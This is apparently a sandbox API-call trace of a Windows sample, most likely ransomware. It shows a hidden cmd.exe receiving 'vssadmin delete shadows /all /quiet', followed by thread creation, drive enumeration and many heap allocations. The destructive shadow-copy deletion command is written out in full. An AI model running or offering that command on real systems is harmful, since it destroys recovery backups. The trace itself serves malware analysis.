	[0053.354] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x5f8, dwThreadId=0xe40)) returned 1
	[0053.750] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0053.750] WriteFile (in: hFile=0x24c, lpBuffer=0x575678*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x575678*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0053.750] CloseHandle (hObject=0x25c) returned 1
	[0053.750] CloseHandle (hObject=0x258) returned 1
	[0053.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534630 | out: hHeap=0x4f0000) returned 1
	[0053.750] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0053.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575678 | out: hHeap=0x4f0000) returned 1
	[0053.750] lstrlenW (lpString="%comspec%") returned 9
	[0053.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2f0 | out: hHeap=0x4f0000) returned 1
	[0053.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0053.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5325b0
	[0053.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5325b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0053.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531a28
	[0053.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x531a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0053.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5326b8
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5326b8, Size=0x20) returned 0x52d5e8
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d5e8, Size=0x40) returned 0x507470
	[0053.752] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0053.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xd0) returned 0x50b5b8
	[0053.752] GetLogicalDrives () returned 0x4
	[0053.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10014) returned 0x534630
	[0053.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532790
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532790, Size=0x20) returned 0x52d430
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d430, Size=0x40) returned 0x5079c8
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5079c8, Size=0x80) returned 0x5752c0
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5752c0, Size=0x100) returned 0x532cb0
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532cb0, Size=0x200) returned 0x532cb0
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532cb0, Size=0x400) returned 0x575e60
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575e60, Size=0x800) returned 0x575e60
	[0053.752] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575e60, Size=0x1000) returned 0x575e60
	[0053.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x554e48
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532790
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x532640
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5319e8
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x532598
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5318c8
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532658
	[0053.753] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5318c8, Size=0x8) returned 0x531998
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5325c8
	[0053.753] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531998, Size=0x10) returned 0x5325e0
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5327a8
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5327c0
	[0053.753] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5325e0, Size=0x20) returned 0x52d4f8
	[0053.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5326b8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531928
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x532808
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5327d8
	[0053.754] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d4f8, Size=0x40) returned 0x507668
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5326e8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x532820
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x532838
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x532568
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532580
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532670
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531a18
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5325e0
	[0053.754] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507668, Size=0x80) returned 0x5753d0
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5326d0
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532700
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5325f8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532718
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532898
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5328c8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5328e0
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5318a8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532868
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532910
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5328f8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5328b0
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x532880
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x532850
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577510
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577600
	[0053.754] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5753d0, Size=0x100) returned 0x532cb0
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5775d0
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577648
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5775e8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x577498
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5775b8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5774c8
	[0053.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5318c8
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577528
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577618
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5775a0
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x531a08
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577540
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577558
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5318d8
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577570
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577630
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5774b0
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577588
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5774e0
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5774f8
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x577180
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576fe8
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x576f58
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576f10
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576eb0
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576ee0
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577000
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5319c8
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576f40
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5770c0
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577018
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576fb8
	[0053.755] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532cb0, Size=0x200) returned 0x532cb0
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577078
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531968
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576f28
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576f88
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576ef8
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576f70
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577120
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5770d8
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576ec8
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576fa0
	[0053.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576fd0
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5770a8
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577060
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577030
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577048
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5770f0
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577090
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577150
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577108
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577138
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577168
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x576e98
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577210
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5319f8
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577348
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5773a8
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577258
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531a38
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5772a0
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577468
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577408
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5772b8
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577378
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577270
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5771f8
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577228
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577288
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577360
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5773c0
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577300
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5772d0
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5772e8
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577198
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577480
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5771b0
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5771c8
	[0053.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577318
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577330
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577420
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531978
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x531908
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5773d8
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577390
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5773f0
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5771e0
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577438
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577450
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577240
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578010
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577f98
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577f20
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577e18
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577f50
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577e00
	[0053.757] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532cb0, Size=0x400) returned 0x578278
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577fb0
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577fe0
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577f38
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577fc8
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577da0
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577f68
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577f80
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578040
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ff8
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578028
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5318f8
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578058
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x577db8
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578070
	[0053.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577e60
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577dd0
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ed8
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x577e48
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577e90
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578088
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ea8
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577e30
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ef0
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577de8
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577e78
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ec0
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x531988
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577f08
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5781c0
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5781d8
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5780b8
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578238
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578160
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578148
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578208
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578220
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5780d0
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5781f0
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x578250
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578100
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5780a0
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5780e8
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578118
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578130
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x578178
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578190
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5781a8
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577d40
	[0053.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577aa0
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ce0
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ae8
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577d28
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577b48
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577b60
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577c50
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577c68
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577bd8
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577c80
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577c08
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577c98
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577cb0
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577cf8
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x577d10
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12) returned 0x505660
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577bc0
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577c38
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577d58
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577d70
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577c20
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577bf0
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577b00
	[0053.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577b30
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577d88
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ab8
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577cc8
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ad0
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577b18
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577b78
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577b90
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x577ba8
	[0053.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578908
